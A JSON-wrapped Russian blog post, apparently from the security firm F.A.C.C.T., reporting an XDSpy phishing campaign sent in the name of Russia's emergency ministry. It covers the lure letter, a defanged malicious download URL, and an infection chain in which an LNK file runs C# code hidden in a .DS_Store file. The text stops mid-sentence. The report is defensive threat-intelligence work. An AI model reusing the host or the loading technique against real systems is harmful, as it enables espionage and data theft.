{"id":385533,"date":"2024-06-29T06:10:06","date_gmt":"2024-06-29T06:10:06","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=385533"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=385533","title":{"rendered":"<span>\u0428\u043f\u0438\u043e\u043d, \u0432\u044b\u0439\u0434\u0438 \u0432\u043e\u043d: \u0433\u0440\u0443\u043f\u043f\u0430 XDSpy \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u041c\u0427\u0421<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/672\/11f\/597\/67211f597fa757b27491c35568b0f354.jpg\" width=\"1280\" height=\"698\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/672\/11f\/597\/67211f597fa757b27491c35568b0f354.jpg\" data-blurred=\"true\"\/><\/figure>\n<p>XDSpy \u2014\u00a0 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0442\u0430\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438 \u043c\u0430\u043b\u043e\u0438\u0437\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f. \u0412\u043f\u0435\u0440\u0432\u044b\u0435 \u0435\u0435 \u0437\u0430\u0441\u0435\u043a \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2020 \u0433\u043e\u0434\u0430 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0439 CERT, \u0445\u043e\u0442\u044f \u0441\u0430\u043c\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2011 \u0433\u043e\u0434\u0430. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0446\u0435\u043b\u0435\u0439 XDSpy \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u2014 \u044d\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435, \u0432\u043e\u0435\u043d\u043d\u044b\u0435, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0438 \u0434\u043e\u0431\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e XDSpy \u0441 \u0437\u0430\u0432\u0438\u0434\u043d\u043e\u0439 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0434\u0430\u0440\u0430\u0445, \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0442\u0430\u043a \u0438 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c, \u0432 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430\u0445 \u043a\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u044d\u0442\u0430 \u0445\u0430\u043a-\u0433\u0440\u0443\u043f\u043f\u0430. <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c? \u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a, 11 \u0438\u044e\u043b\u044f, \u0426\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 F.A.C.C.T. \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u0435 \u043e \u0442\u043e\u043c, \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437<a href=\"https:\/\/www.facct.ru\/products\/managed-xdr\/?utm_source=telegram&amp;utm_campaign=product-mxdr&amp;utm_medium=social\"> <u>F.A.\u0421.\u0421.T. Managed XDR<\/u><\/a><u> <\/u>\u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443. \u0421\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u0440\u0443 \u043c\u0438\u043d\u0443\u0442, \u0447\u0442\u043e\u0431\u044b  &#171;\u0441\u0434\u0435\u0442\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c&#187; \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043a \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0435 XDSpy. \u0421\u0440\u0435\u0434\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043d\u0430\u0443\u0447\u043d\u043e-\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442\u043e\u0432. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/294\/407\/a72\/294407a72e9071db4326fd7cfc0b8842.png\" alt=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 1. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0432 \u043f\u0438\u0441\u044c\u043c\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F.A.C.C.T. MXDR \" title=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 1. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0432 \u043f\u0438\u0441\u044c\u043c\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F.A.C.C.T. MXDR \" width=\"1158\" height=\"514\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/294\/407\/a72\/294407a72e9071db4326fd7cfc0b8842.png\"\/><\/p>\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 1. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0432 \u043f\u0438\u0441\u044c\u043c\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F.A.C.C.T. MXDR <\/em><\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ad9\/c24\/7f8\/ad9c247f8a9e61eeafcaa2c8b548e6ad.png\" alt=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 2. \u0410\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e F.A.C.C.T. Threat Intelligence \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0443 files-manager[.]com, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.\" title=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 2. \u0410\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e F.A.C.C.T. Threat Intelligence \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0443 files-manager[.]com, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.\" width=\"904\" height=\"629\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ad9\/c24\/7f8\/ad9c247f8a9e61eeafcaa2c8b548e6ad.png\"\/><\/p>\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 2. \u0410\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e F.A.C.C.T. Threat Intelligence \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0443 files-manager[.]com, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443.<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0438\u0441\u044c\u043c\u043e-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u043f\u043e \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u044b\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f\u043c, \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0435 \u2014  \u0442\u0435\u043c\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0432\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u041c\u0427\u0421. \u0412 \u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0441\u044f\u0442 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 &#171;\u043c\u043e\u0433\u0443\u0442 \u0441\u0438\u043c\u043f\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u0430\u043c, \u0434\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e \u0432 \u0420\u043e\u0441\u0441\u0438\u0438&#187;. \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u0430, \u043f\u0440\u043e\u0442\u0438\u0432 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0440\u044b.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/02d\/d0d\/99b\/02dd0d99b2f96ec2464e5329431012dd.png\" alt=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 3. \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u043f\u0438\u0441\u044c\u043c\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0448\u043b\u0430 \u0432 \u043d\u043e\u0447\u044c \u0441 10 \u043d\u0430 11 \u0438\u044e\u043b\u044f. \" title=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 3. \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u043f\u0438\u0441\u044c\u043c\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0448\u043b\u0430 \u0432 \u043d\u043e\u0447\u044c \u0441 10 \u043d\u0430 11 \u0438\u044e\u043b\u044f. \" width=\"865\" height=\"476\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/02d\/d0d\/99b\/02dd0d99b2f96ec2464e5329431012dd.png\"\/><\/p>\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 3. \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u043f\u0438\u0441\u044c\u043c\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0448\u043b\u0430 \u0432 \u043d\u043e\u0447\u044c \u0441 10 \u043d\u0430 11 \u0438\u044e\u043b\u044f.<\/em> <\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0444\u0430\u0439\u043b\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 <strong>Spisok_rabotnikov.pdf<\/strong> \u0441\u043e \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0432\u0440\u0430\u0447\u0435\u0439 (!) \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043a\u043b\u0438\u043d\u0438\u043a \u0420\u043e\u0441\u0442\u043e\u0432\u0430-\u043d\u0430-\u0414\u043e\u043d\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0436\u0435\u0440\u0442\u0432\u044b. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/940\/25d\/520\/94025d5208ffcf13cec6015ce295bb6c.png\" alt=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 4. \u0420\u044f\u0434 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0435\u0442\u043e\u043d\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0432 Malware Detonation Platform F.A.C.C.T. MXDR.\" title=\"\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 4. \u0420\u044f\u0434 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0435\u0442\u043e\u043d\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0432 Malware Detonation Platform F.A.C.C.T. MXDR.\" width=\"757\" height=\"344\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/940\/25d\/520\/94025d5208ffcf13cec6015ce295bb6c.png\"\/><\/p>\n<div><figcaption><em>\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 4. \u0420\u044f\u0434 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0435\u0442\u043e\u043d\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0432 <\/em>Malware Detonation Platform F.A.C.C.T. MXDR<em>.<\/em><br \/><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 XDSpy <strong>\u0410\u0432\u0435\u0442\u0438\u043a \u041d\u0430\u0434\u0438\u0440\u044f\u043d<\/strong>, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0426\u0435\u043d\u0442\u0440\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 F.A.C.C.T., \u043f\u0440\u043e\u0432\u0435\u043b \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0434\u043b\u044f \u0435\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430 \u0430\u0442\u0430\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043a \u0440\u0435\u0432\u0435\u0440\u0441\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0430\u0441\u044c \u201c\u0442\u044f\u0436\u0435\u043b\u0430\u044f \u0430\u0440\u0442\u0438\u043b\u043b\u0435\u0440\u0438\u044f\u201d \u0432 \u043b\u0438\u0446\u0435 <strong>\u0414\u043c\u0438\u0442\u0440\u0438\u044f \u041a\u0443\u043f\u0438\u043d\u0430<\/strong>, \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u0418\u0445 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u044b \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043c \u043d\u0438\u0436\u0435. <\/p>\n<h2>\u0410\u043d\u0430\u043b\u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 11 \u0438\u044e\u043d\u044f<\/h2>\n<p>\u0412\u043d\u0443\u0442\u0440\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0430 hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/Spisok_rabotnikov\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI \u0432 \u0438\u043c\u0435\u043d\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 <strong>Spisok_rabotnikov.pdf<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0430\u0440\u0445\u0438\u0432\u0430 <strong>Spisok_rabotnikov.zip<\/strong>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f44\/ee3\/406\/f44ee34063ec5952dc1549196b1de4bf.png\" width=\"927\" height=\"363\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f44\/ee3\/406\/f44ee34063ec5952dc1549196b1de4bf.png\"\/><\/figure>\n<p>\u0410\u0440\u0445\u0438\u0432 <strong>Spisok_rabotnikov.zip <\/strong>\u0434\u043b\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0431\u044b\u043b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d 10.07.2023.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/558\/883\/26b\/55888326b48f3fc0f72fbe28534fbb0c.png\" width=\"585\" height=\"703\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/558\/883\/26b\/55888326b48f3fc0f72fbe28534fbb0c.png\"\/><\/figure>\n<p>\u0410\u0440\u0445\u0438\u0432 <strong>Spisok_rabotnikov.zip<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 2 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<ul>\n<li>\n<p><strong>Spisok_rabotnikov.lnk<\/strong> &#8212; \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 <strong>.DS_Store<\/strong>.<\/p>\n<\/li>\n<li>\n<p><strong>.DS_Store<\/strong> &#8212; \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, C# \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 <strong>UTask<\/strong>, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c Base64 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0438\u0434\u0435 9 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432: \u0434\u0432\u0435 